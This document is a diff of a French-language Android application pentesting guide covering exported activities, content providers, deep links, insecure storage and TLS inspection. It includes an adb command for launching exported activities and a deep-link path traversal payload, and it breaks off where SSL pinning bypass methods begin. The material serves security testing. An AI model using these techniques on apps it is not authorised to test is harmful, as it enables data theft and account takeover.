* **Sécurité réseau** : Les configurations personnalisées de sécurité réseau (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité tels que les épingles de certificat et les paramètres de trafic HTTP. Un exemple est d'autoriser le trafic HTTP pour des domaines spécifiques.
|
||||
|
||||
* **Activités et services exportés** : Identifier les activités et services exportés dans le manifeste peut mettre en évidence des composants qui pourraient être mal utilisés. Une analyse plus approfondie lors des tests dynamiques peut révéler comment exploiter ces composants.
|
||||
|
||||
* **Activités et services exportés** : Identifier les activités et services exportés dans le manifeste peut mettre en lumière des composants qui pourraient être mal utilisés. Une analyse plus approfondie lors des tests dynamiques peut révéler comment exploiter ces composants.
|
||||
* **Fournisseurs de contenu et FileProviders** : Les fournisseurs de contenu exposés pourraient permettre un accès ou une modification non autorisés des données. La configuration des FileProviders devrait également être examinée.
|
||||
|
||||
* **Récepteurs de diffusion et schémas d'URL** : Ces composants pourraient être exploités, en accordant une attention particulière à la gestion des schémas d'URL pour les vulnérabilités d'entrée.
|
||||
|
||||
* **Versions SDK** : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions Android prises en charge, soulignant l'importance de ne pas prendre en charge des versions Android obsolètes et vulnérables pour des raisons de sécurité.
|
||||
* **Versions SDK** : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions d'Android prises en charge, soulignant l'importance de ne pas prendre en charge des versions d'Android obsolètes et vulnérables pour des raisons de sécurité.
|
||||
|
||||
À partir du fichier **strings.xml**, des informations sensibles telles que des clés API, des schémas personnalisés et d'autres notes de développeur peuvent être découvertes, soulignant la nécessité d'un examen attentif de ces ressources.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** est une attaque où une **application malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visuellement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour qu'il interagisse avec elle, tout en transmettant l'interaction à l'application victime.\
|
||||
Le **Tapjacking** est une attaque où une **application malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visuellement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour qu'il interagisse avec elle, tout en transmettant l'interaction à l'application victime.\
|
||||
En effet, cela **empêche l'utilisateur de savoir qu'il effectue réellement des actions sur l'application victime**.
|
||||
|
||||
Trouvez plus d'informations dans :
|
||||
|
@ -123,29 +117,26 @@ Plus d'informations dans :
|
|||
|
||||
**Stockage interne**
|
||||
|
||||
Sur Android, les fichiers **stockés** dans le **stockage interne** sont **conçus** pour être **accessibles** exclusivement par l'**application** qui les a **créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement adéquate pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** le partage de fichiers entre différentes applications. Cependant, ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris potentiellement des applications malveillantes.
|
||||
Sur Android, les fichiers **stockés** dans le **stockage interne** sont **conçus** pour être **accessibles exclusivement par l'application** qui les a **créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement adéquate pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** le partage de fichiers entre différentes applications. Cependant, ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris potentiellement malveillantes.
|
||||
|
||||
1. **Analyse statique :**
|
||||
- **Assurez-vous** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` est **soigneusement examinée**. Ces modes **peuvent potentiellement exposer** des fichiers à un **accès non intentionnel ou non autorisé**.
|
||||
|
||||
* **Assurez-vous** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` est **soigneusement examinée**. Ces modes **peuvent potentiellement exposer** des fichiers à un **accès non intentionnel ou non autorisé**.
|
||||
2. **Analyse dynamique :**
|
||||
- **Vérifiez** les **autorisations** définies sur les fichiers créés par l'application. En particulier, **vérifiez** si des fichiers sont **définis comme lisibles ou modifiables mondialement**. Cela peut poser un risque de sécurité important, car cela permettrait à **n'importe quelle application** installée sur l'appareil, quelle que soit son origine ou son intention, de **lire ou de modifier** ces fichiers.
|
||||
* **Vérifiez** les **autorisations** définies sur les fichiers créés par l'application. En particulier, **vérifiez** si des fichiers sont **définis comme lisibles ou modifiables mondialement**. Cela peut poser un risque de sécurité important, car cela permettrait à **n'importe quelle application** installée sur l'appareil, quelle que soit son origine ou son intention, de **lire ou de modifier** ces fichiers.
|
||||
|
||||
**Stockage externe**
|
||||
|
||||
Lorsqu'il s'agit de fichiers sur le **stockage externe**, comme les cartes SD, certaines précautions doivent être prises :
|
||||
|
||||
1. **Accessibilité** :
|
||||
- Les fichiers sur le stockage externe sont **lisibles et modifiables mondialement**. Cela signifie que n'importe quelle application ou utilisateur peut accéder à ces fichiers.
|
||||
|
||||
* Les fichiers sur le stockage externe sont **lisibles et modifiables mondialement**. Cela signifie que n'importe quelle application ou utilisateur peut accéder à ces fichiers.
|
||||
2. **Préoccupations en matière de sécurité** :
|
||||
- Étant donné la facilité d'accès, il est conseillé de **ne pas stocker d'informations sensibles** sur le stockage externe.
|
||||
- Le stockage externe peut être retiré ou accédé par n'importe quelle application, le rendant moins sécurisé.
|
||||
|
||||
* Étant donné la facilité d'accès, il est conseillé de **ne pas stocker d'informations sensibles** sur le stockage externe.
|
||||
* Le stockage externe peut être retiré ou accédé par n'importe quelle application, le rendant moins sécurisé.
|
||||
3. **Traitement des données provenant du stockage externe** :
|
||||
- Effectuez toujours une **validation des entrées** sur les données récupérées depuis le stockage externe. Cela est crucial car les données proviennent d'une source non fiable.
|
||||
- Il est fortement déconseillé de stocker des exécutables ou des fichiers de classe sur le stockage externe pour un chargement dynamique.
|
||||
- Si votre application doit récupérer des fichiers exécutables depuis le stockage externe, assurez-vous que ces fichiers sont **signés et vérifiés cryptographiquement** avant d'être chargés dynamiquement. Cette étape est essentielle pour maintenir l'intégrité de sécurité de votre application.
|
||||
* Effectuez toujours une **validation des entrées** sur les données récupérées depuis le stockage externe. C'est crucial car les données proviennent d'une source non fiable.
|
||||
* Il est fortement déconseillé de stocker des exécutables ou des fichiers de classe sur le stockage externe pour un chargement dynamique.
|
||||
* Si votre application doit récupérer des fichiers exécutables depuis le stockage externe, assurez-vous que ces fichiers sont **signés et vérifiés cryptographiquement** avant d'être chargés dynamiquement. Cette étape est essentielle pour maintenir l'intégrité de sécurité de votre application.
|
||||
|
||||
Le stockage externe peut être **accédé** dans `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
|
@ -175,7 +166,7 @@ Certains développeurs enregistrent des données sensibles dans le stockage loca
|
|||
|
||||
**Utilisation d'algorithmes non sécurisés et/ou obsolètes**
|
||||
|
||||
Les développeurs ne devraient pas utiliser des **algorithmes obsolètes** pour effectuer des **vérifications d'autorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, des hashes résistants à la force brute devraient être utilisés avec un sel.
|
||||
Les développeurs ne devraient pas utiliser d'**algorithmes obsolètes** pour effectuer des **vérifications d'autorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, des hashes résistants à la force brute devraient être utilisés avec un sel.
|
||||
|
||||
### Autres vérifications
|
||||
|
||||
|
@ -183,7 +174,7 @@ Les développeurs ne devraient pas utiliser des **algorithmes obsolètes** pour
|
|||
* Si l'application est sensible (comme les applications bancaires), elle devrait effectuer ses **propres vérifications pour voir si le mobile est rooté** et agir en conséquence.
|
||||
* Si l'application est sensible (comme les applications bancaires), elle devrait vérifier si un **émulateur** est utilisé.
|
||||
* Si l'application est sensible (comme les applications bancaires), elle devrait **vérifier son intégrité avant de l'exécuter** pour vérifier si elle a été modifiée.
|
||||
* Utilisez [**APKiD**](https://github.com/rednaga/APKiD) pour vérifier quel compilateur/packer/obfuscateur a été utilisé pour construire l'APK
|
||||
* Utilisez [**APKiD**](https://github.com/rednaga/APKiD) pour vérifier quel compilateur/packer/obfuscateur a été utilisé pour construire l'APK.
|
||||
|
||||
### Application React Native
|
||||
|
||||
|
@ -203,11 +194,11 @@ Consultez la page suivante pour apprendre comment accéder facilement au code C#
|
|||
|
||||
### Applications Superpacked
|
||||
|
||||
Selon ce [**billet de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked est un méta-algorithme qui compresse le contenu d'une application dans un seul fichier. Le blog parle de la possibilité de créer une application qui décompresse ce type d'applications... et d'une manière plus rapide qui implique d'**exécuter l'application et de rassembler les fichiers décompressés du système de fichiers**.
|
||||
Selon ce [**billet de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), Superpacked est un algorithme Meta qui compresse le contenu d'une application dans un seul fichier. Le blog parle de la possibilité de créer une application qui décompresse ce type d'applications... et d'une manière plus rapide qui implique d'**exécuter l'application et de rassembler les fichiers décompressés du système de fichiers**.
|
||||
|
||||
### Analyse de code statique automatisée
|
||||
|
||||
L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnérabilités** en **scannant** le **code** de l'application. Cet outil contient une série de **sources connues** (qui indiquent à l'outil les **endroits** où l'**entrée** est **contrôlée par l'utilisateur**), **sinks** (qui indiquent à l'outil les **endroits dangereux** où une entrée utilisateur malveillante pourrait causer des dommages) et **règles**. Ces règles indiquent la **combinaison** de **sources-sinks** qui indique une vulnérabilité.
|
||||
L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnérabilités** en **scannant** le **code** de l'application. Cet outil contient une série de **sources connues** (qui indiquent à l'outil les **endroits** où l'**entrée** est **contrôlée par l'utilisateur**), des **sinks** (qui indiquent à l'outil les **endroits dangereux** où une entrée utilisateur malveillante pourrait causer des dommages) et des **règles**. Ces règles indiquent la **combinaison** de **sources-sinks** qui indique une vulnérabilité.
|
||||
|
||||
Avec cette connaissance, **mariana-trench examinera le code et trouvera les vulnérabilités possibles**.
|
||||
|
||||
|
@ -238,16 +229,16 @@ Une application peut contenir des secrets (clés API, mots de passe, URL cachée
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en sécurité !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Perspectives en piratage**\
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
||||
**Actualités sur le piratage en temps réel**\
|
||||
Restez informé du monde du piratage en évolution rapide grâce à des actualités et des informations en temps réel
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez informé du monde du piratage rapide grâce aux actualités et aux informations en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
Restez informé des dernières primes au bug lancées et des mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
|
@ -271,7 +262,7 @@ Grâce à la connexion ADB, vous pouvez utiliser **Drozer** et **Frida** à l'in
|
|||
|
||||
#### Utilisation d'un émulateur
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Vous pouvez créer des appareils **x86** et **arm**, et selon [**ceci** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html), les **dernières versions x86** **supportent les bibliothèques ARM** sans avoir besoin d'un émulateur ARM lent).
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Vous pouvez créer des appareils **x86** et **arm**, et selon [**ceci** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)les **dernières versions x86** supportent les bibliothèques ARM sans avoir besoin d'un émulateur ARM lent).
|
||||
* Apprenez à le configurer sur cette page :
|
||||
|
||||
{% content-ref url="avd-android-virtual-device.md" %}
|
||||
|
@ -282,7 +273,7 @@ Grâce à la connexion ADB, vous pouvez utiliser **Drozer** et **Frida** à l'in
|
|||
* [**Nox**](https://es.bignox.com) (Gratuit, mais ne prend pas en charge Frida ou Drozer).
|
||||
|
||||
{% hint style="info" %}
|
||||
Lors de la création d'un nouvel émulateur sur n'importe quelle plateforme, rappelez-vous que plus l'écran est grand, plus l'émulateur sera lent. Choisissez donc de petits écrans si possible.
|
||||
Lors de la création d'un nouvel émulateur sur n'importe quelle plateforme, rappelez-vous que plus l'écran est grand, plus l'émulateur sera lent. Sélectionnez donc de petits écrans si possible.
|
||||
{% endhint %}
|
||||
|
||||
Pour **installer les services Google** (comme AppStore) dans Genymotion, vous devez cliquer sur le bouton marqué en rouge de l'image suivante :
|
||||
|
@ -290,7 +281,6 @@ Pour **installer les services Google** (comme AppStore) dans Genymotion, vous de
|
|||
![](<../../.gitbook/assets/image (200) (1).png>)
|
||||
|
||||
De plus, notez que dans la **configuration de la VM Android dans Genymotion**, vous pouvez sélectionner le mode **Bridge Network** (ce sera utile si vous vous connectez à la VM Android depuis une autre VM avec les outils).
|
||||
|
||||
#### Utiliser un appareil physique
|
||||
|
||||
Vous devez activer les options de **débogage** et ce serait bien si vous pouviez le **rooter** :
|
||||
|
@ -301,14 +291,14 @@ Vous devez activer les options de **débogage** et ce serait bien si vous pouvie
|
|||
4. Appuyez 7 fois sur **Numéro de build**.
|
||||
5. Revenez en arrière et vous trouverez les **Options pour les développeurs**.
|
||||
|
||||
> Une fois que vous avez installé l'application, la première chose à faire est de l'essayer et d'investiguer ce qu'elle fait, comment elle fonctionne et de vous familiariser avec elle.\
|
||||
> Je vous suggère de **réaliser cette analyse dynamique initiale en utilisant l'analyse dynamique MobSF + pidcat**, ainsi nous pourrons **apprendre comment l'application fonctionne** tandis que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez examiner plus tard.
|
||||
> Une fois que vous avez installé l'application, la première chose à faire est de l'essayer et d'investiguer ce qu'elle fait, comment elle fonctionne et de vous familiariser avec.\
|
||||
> Je vous suggère de **réaliser cette analyse dynamique initiale en utilisant l'analyse dynamique MobSF + pidcat**, ainsi nous pourrons **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez examiner plus tard.
|
||||
|
||||
### Fuite de données non intentionnelle
|
||||
|
||||
**Journalisation**
|
||||
|
||||
Les développeurs doivent être prudents lors de l'exposition d'**informations de débogage** publiquement, car cela peut entraîner des fuites de données sensibles. Les outils [**pidcat**](https://github.com/JakeWharton/pidcat) et `adb logcat` sont recommandés pour surveiller les journaux de l'application afin d'identifier et protéger les informations sensibles. **Pidcat** est préféré pour sa facilité d'utilisation et sa lisibilité.
|
||||
Les développeurs doivent être prudents lorsqu'ils exposent publiquement des **informations de débogage**, car cela peut entraîner des fuites de données sensibles. Les outils [**pidcat**](https://github.com/JakeWharton/pidcat) et `adb logcat` sont recommandés pour surveiller les journaux d'application afin d'identifier et protéger les informations sensibles. **Pidcat** est préféré pour sa facilité d'utilisation et sa lisibilité.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que depuis **Android 4.0 et plus récent**, les **applications ne peuvent accéder qu'à leurs propres journaux**. Les applications ne peuvent donc pas accéder aux journaux d'autres applications.\
|
||||
|
@ -317,40 +307,40 @@ Quoi qu'il en soit, il est toujours recommandé de **ne pas journaliser d'inform
|
|||
|
||||
**Mise en cache du presse-papiers**
|
||||
|
||||
Le framework basé sur le presse-papiers d'Android permet la fonctionnalité de copier-coller dans les applications, mais pose un risque car **d'autres applications** peuvent **accéder** au presse-papiers, exposant potentiellement des données sensibles. Il est crucial de **désactiver les fonctions de copier/coller** pour les sections sensibles d'une application, comme les détails de carte de crédit, pour éviter les fuites de données.
|
||||
Le framework basé sur le presse-papiers d'Android permet la fonctionnalité de copier-coller dans les applications, mais présente un risque car **d'autres applications** peuvent **accéder** au presse-papiers, exposant potentiellement des données sensibles. Il est crucial de **désactiver les fonctions de copier/coller** pour les sections sensibles d'une application, comme les détails de carte de crédit, pour éviter les fuites de données.
|
||||
|
||||
**Journaux de plantage**
|
||||
|
||||
Si une application **plante** et **enregistre des journaux**, ces journaux peuvent aider les attaquants, en particulier lorsque l'application ne peut pas être rétro-ingénierée. Pour atténuer ce risque, évitez de journaliser les plantages, et si les journaux doivent être transmis sur le réseau, assurez-vous qu'ils sont envoyés via un canal SSL pour la sécurité.
|
||||
Si une application **plante** et **enregistre des journaux**, ces journaux peuvent aider les attaquants, en particulier lorsque l'application ne peut pas être rétro-ingénierée. Pour atténuer ce risque, évitez de journaliser en cas de plantage, et si les journaux doivent être transmis via le réseau, assurez-vous qu'ils sont envoyés via un canal SSL pour la sécurité.
|
||||
|
||||
En tant que testeur d'intrusion, **essayez de jeter un œil à ces journaux**.
|
||||
|
||||
**Données analytiques envoyées à des tiers**
|
||||
|
||||
Les applications intègrent souvent des services comme Google Adsense, qui peuvent involontairement **divulguer des données sensibles** en raison d'une implémentation incorrecte par les développeurs. Pour identifier les fuites de données potentielles, il est conseillé d'**intercepter le trafic de l'application** et de vérifier si des informations sensibles sont envoyées à des services tiers.
|
||||
Les applications intègrent souvent des services comme Google Adsense, qui peuvent involontairement **fuir des données sensibles** en raison d'une implémentation incorrecte par les développeurs. Pour identifier les fuites de données potentielles, il est conseillé d'**intercepter le trafic de l'application** et de vérifier si des informations sensibles sont envoyées à des services tiers.
|
||||
|
||||
### Bases de données SQLite
|
||||
|
||||
La plupart des applications utiliseront des **bases de données SQLite internes** pour enregistrer des informations. Pendant le test d'intrusion, jetez un **œil** aux **bases de données** créées, aux noms des **tables** et des **colonnes** et à toutes les **données** enregistrées car vous pourriez trouver des **informations sensibles** (ce qui serait une vulnérabilité).\
|
||||
Les bases de données devraient se trouver dans `/data/data/nom_du.package/databases` comme `/data/data/com.mwr.example.sieve/databases`
|
||||
La plupart des applications utiliseront des **bases de données SQLite internes** pour enregistrer des informations. Lors du test d'intrusion, jetez un **œil** aux **bases de données** créées, aux noms des **tables** et des **colonnes** et à toutes les **données** enregistrées car vous pourriez trouver des **informations sensibles** (ce qui serait une vulnérabilité).\
|
||||
Les bases de données doivent être situées dans `/data/data/nom_du.package/databases` comme `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Si la base de données enregistre des informations confidentielles et est **chiffrée** mais que vous pouvez **trouver** le **mot de passe** à l'intérieur de l'application, c'est toujours une **vulnérabilité**.
|
||||
|
||||
Énumérez les tables en utilisant `.tables` et énumérez les colonnes des tables en faisant `.schema <nom_table>`
|
||||
Énumérez les tables en utilisant `.tables` et énumérez les colonnes des tables en faisant `.schema <nom_de_la_table>`
|
||||
|
||||
### Drozer (Activités d'exploitation, Fournisseurs de contenu et Services)
|
||||
|
||||
D'après la [documentation de Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf) : **Drozer** vous permet de **prendre le rôle d'une application Android** et d'interagir avec d'autres applications. Il peut faire **tout ce qu'une application installée peut faire**, comme utiliser le mécanisme de communication inter-processus (IPC) d'Android et interagir avec le système d'exploitation sous-jacent.\
|
||||
Drozer est un outil utile pour **exploiter les activités exportées, les services exportés et les fournisseurs de contenu**, comme vous le verrez dans les sections suivantes.
|
||||
D'après [la documentation de Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf) : **Drozer** vous permet de **prendre le rôle d'une application Android** et d'interagir avec d'autres applications. Il peut faire **tout ce qu'une application installée peut faire**, comme utiliser le mécanisme de Communication Inter-Processus (IPC) d'Android et interagir avec le système d'exploitation sous-jacent.\
|
||||
Drozer est un outil utile pour **exploiter les activités exportées, les services exportés et les Fournisseurs de contenu** comme vous le verrez dans les sections suivantes.
|
||||
|
||||
### Exploitation des activités exportées
|
||||
### Exploiter les activités exportées
|
||||
|
||||
[Lisez ceci si vous voulez vous rafraîchir sur ce qu'est une activité Android.](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
[Lisez ceci si vous voulez vous rafraîchir sur ce qu'est une Activité Android.](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Rappelez-vous également que le code d'une activité commence dans la méthode **`onCreate`**.
|
||||
|
||||
**Contournement de l'autorisation**
|
||||
|
||||
Lorsqu'une activité est exportée, vous pouvez invoquer son écran à partir d'une application externe. Par conséquent, si une activité avec des **informations sensibles** est **exportée**, vous pourriez **contourner** les **mécanismes d'authentification** pour y accéder.
|
||||
Lorsqu'une Activité est exportée, vous pouvez invoquer son écran depuis une application externe. Par conséquent, si une activité contenant des **informations sensibles** est **exportée**, vous pourriez **contourner** les **mécanismes d'authentification** pour y accéder.
|
||||
|
||||
[**Apprenez comment exploiter les activités exportées avec Drozer.**](drozer-tutorial/#activities)
|
||||
|
||||
|
@ -361,7 +351,7 @@ Vous pouvez également démarrer une activité exportée depuis adb :
|
|||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**REMARQUE**: MobSF détectera comme malveillante l'utilisation de _**singleTask/singleInstance**_ en tant que `android:launchMode` dans une activité, mais en raison de [ceci](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparemment cela n'est dangereux que sur les anciennes versions (versions d'API < 21).
|
||||
**REMARQUE**: MobSF détectera comme malveillante l'utilisation de _**singleTask/singleInstance**_ en tant que `android:launchMode` dans une activité, mais en raison de [ceci](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparemment cela est seulement dangereux sur les anciennes versions (versions d'API < 21).
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez qu'une contournement d'autorisation n'est pas toujours une vulnérabilité, cela dépend de la manière dont le contournement fonctionne et des informations exposées.
|
||||
|
@ -373,12 +363,12 @@ Notez qu'une contournement d'autorisation n'est pas toujours une vulnérabilité
|
|||
|
||||
#### Tapjacking
|
||||
|
||||
Si le tapjacking n'est pas empêché, vous pourriez abuser de l'activité exportée pour faire effectuer à l'utilisateur des actions inattendues. Pour plus d'informations sur [**ce qu'est le Tapjacking, suivez le lien**](./#tapjacking).
|
||||
Si le tapjacking n'est pas empêché, vous pourriez abuser de l'activité exportée pour faire effectuer à l'**utilisateur des actions inattendues**. Pour plus d'informations sur [**ce qu'est le Tapjacking, suivez le lien**](./#tapjacking).
|
||||
|
||||
### Exploitation des fournisseurs de contenu - Accès et manipulation d'informations sensibles
|
||||
|
||||
[**Lisez ceci si vous voulez vous rafraîchir sur ce qu'est un fournisseur de contenu.**](android-applications-basics.md#content-provider)\
|
||||
Les fournisseurs de contenu sont essentiellement utilisés pour **partager des données**. Si une application dispose de fournisseurs de contenu disponibles, vous pourriez être en mesure d'**extraire des données sensibles** à partir d'eux. Il est également intéressant de tester d'éventuelles **injections SQL** et **traversées de chemin** car elles pourraient être vulnérables.
|
||||
Les fournisseurs de contenu sont essentiellement utilisés pour **partager des données**. Si une application dispose de fournisseurs de contenu disponibles, vous pourriez être en mesure d'**extraire des données sensibles** à partir d'eux. Il est également intéressant de tester les éventuelles **injections SQL** et les **traversées de chemin** car elles pourraient être vulnérables.
|
||||
|
||||
[**Apprenez comment exploiter les fournisseurs de contenu avec Drozer.**](drozer-tutorial/#content-providers)
|
||||
|
||||
|
@ -433,7 +423,7 @@ Chaque fois que vous trouvez un lien profond, vérifiez qu'il **ne reçoit pas d
|
|||
**Paramètres dans le chemin**
|
||||
|
||||
Vous **devez également vérifier si un lien profond utilise un paramètre à l'intérieur du chemin** de l'URL comme : `https://api.example.com/v1/users/{username}`, dans ce cas, vous pouvez forcer une traversée de chemin en accédant à quelque chose comme : `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Notez que si vous trouvez les bons points de terminaison à l'intérieur de l'application, vous pourriez être en mesure de provoquer une **Redirection Ouverte** (si une partie du chemin est utilisée comme nom de domaine), une **prise de contrôle de compte** (si vous pouvez modifier les détails des utilisateurs sans jeton CSRF et que le point de terminaison vulnérable utilise la méthode correcte) et toute autre vulnérabilité. Plus d'**[informations à ce sujet ici](http://dphoeniixx.com/2020/12/13-2/)**.
|
||||
Notez que si vous trouvez les bons points de terminaison à l'intérieur de l'application, vous pourriez être en mesure de provoquer une **Redirection Ouverte** (si une partie du chemin est utilisée comme nom de domaine), une **prise de contrôle de compte** (si vous pouvez modifier les détails des utilisateurs sans jeton CSRF et que le point de terminaison vulnérable utilise la méthode correcte) et toute autre vulnérabilité. Plus d'[informations à ce sujet ici](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Plus d'exemples**
|
||||
|
||||
|
@ -441,13 +431,13 @@ Un [rapport de prime de bug intéressant](https://hackerone.com/reports/855618)
|
|||
|
||||
### Inspections de la couche de transport et échecs de vérification
|
||||
|
||||
- Les **certificats ne sont pas toujours inspectés correctement** par les applications Android. Il est courant que ces applications ignorent les avertissements et acceptent les certificats auto-signés ou, dans certains cas, reviennent à utiliser des connexions HTTP.
|
||||
- Les **négociations pendant la poignée de main SSL/TLS sont parfois faibles**, utilisant des suites de chiffrement non sécurisées. Cette vulnérabilité rend la connexion susceptible aux attaques de l'homme du milieu (MITM), permettant aux attaquants de décrypter les données.
|
||||
- **La fuite d'informations privées** est un risque lorsque les applications s'authentifient en utilisant des canaux sécurisés mais communiquent ensuite via des canaux non sécurisés pour d'autres transactions. Cette approche ne protège pas les données sensibles, telles que les cookies de session ou les détails des utilisateurs, contre l'interception par des entités malveillantes.
|
||||
* Les **certificats ne sont pas toujours inspectés correctement** par les applications Android. Il est courant que ces applications ignorent les avertissements et acceptent les certificats auto-signés ou, dans certains cas, reviennent à utiliser des connexions HTTP.
|
||||
* Les **négociations pendant la poignée de main SSL/TLS sont parfois faibles**, utilisant des suites de chiffrement non sécurisées. Cette vulnérabilité rend la connexion susceptible aux attaques de l'homme du milieu (MITM), permettant aux attaquants de décrypter les données.
|
||||
* **La fuite d'informations privées** est un risque lorsque les applications s'authentifient en utilisant des canaux sécurisés mais communiquent ensuite via des canaux non sécurisés pour d'autres transactions. Cette approche ne protège pas les données sensibles, telles que les cookies de session ou les détails des utilisateurs, contre l'interception par des entités malveillantes.
|
||||
|
||||
#### Vérification des certificats
|
||||
#### Vérification du certificat
|
||||
|
||||
Nous nous concentrerons sur la **vérification des certificats**. L'intégrité du certificat du serveur doit être vérifiée pour renforcer la sécurité. C'est crucial car les configurations TLS non sécurisées et la transmission de données sensibles sur des canaux non chiffrés peuvent poser des risques importants. Pour des étapes détaillées sur la vérification des certificats de serveur et la résolution des vulnérabilités, ce **[ressource](https://manifestsecurity.com/android-application-security-part-10/)** fournit des conseils complets.
|
||||
Nous nous concentrerons sur la **vérification du certificat**. L'intégrité du certificat du serveur doit être vérifiée pour renforcer la sécurité. C'est crucial car les configurations TLS non sécurisées et la transmission de données sensibles sur des canaux non chiffrés peuvent poser des risques importants. Pour des étapes détaillées sur la vérification des certificats de serveur et la résolution des vulnérabilités, [**cette ressource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets.
|
||||
|
||||
#### Épinglage SSL
|
||||
|
||||
|
@ -455,18 +445,18 @@ L'épinglage SSL est une mesure de sécurité où l'application vérifie le cert
|
|||
|
||||
#### Inspection du trafic
|
||||
|
||||
Pour inspecter le trafic HTTP, il est nécessaire d'**installer le certificat de l'outil proxy** (par exemple, Burp). Sans installer ce certificat, le trafic chiffré pourrait ne pas être visible via le proxy. Pour un guide sur l'installation d'un certificat CA personnalisé, **[cliquez ici](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)**.
|
||||
Pour inspecter le trafic HTTP, il est nécessaire d'**installer le certificat de l'outil proxy** (par exemple, Burp). Sans installer ce certificat, le trafic chiffré pourrait ne pas être visible via le proxy. Pour un guide sur l'installation d'un certificat CA personnalisé, [**cliquez ici**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Les applications ciblant **le niveau API 24 et supérieur** nécessitent des modifications de la Configuration de sécurité réseau pour accepter le certificat CA du proxy. Cette étape est cruciale pour inspecter le trafic chiffré. Pour des instructions sur la modification de la Configuration de sécurité réseau, **[reportez-vous à ce tutoriel](make-apk-accept-ca-certificate.md)**.
|
||||
Les applications ciblant **le niveau API 24 et supérieur** nécessitent des modifications de la Configuration de sécurité réseau pour accepter le certificat CA du proxy. Cette étape est cruciale pour inspecter le trafic chiffré. Pour des instructions sur la modification de la Configuration de sécurité réseau, [**consultez ce tutoriel**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Contournement de l'épinglage SSL
|
||||
|
||||
Lorsque l'épinglage SSL est mis en œuvre, il est nécessaire de le contourner pour inspecter le trafic HTTPS. Diverses méthodes sont disponibles à cette fin :
|
||||
Lorsque l'épinglage SSL est mis en œuvre, il est nécessaire de contourner pour inspecter le trafic HTTPS. Diverses méthodes sont disponibles à cette fin :
|
||||
|
||||
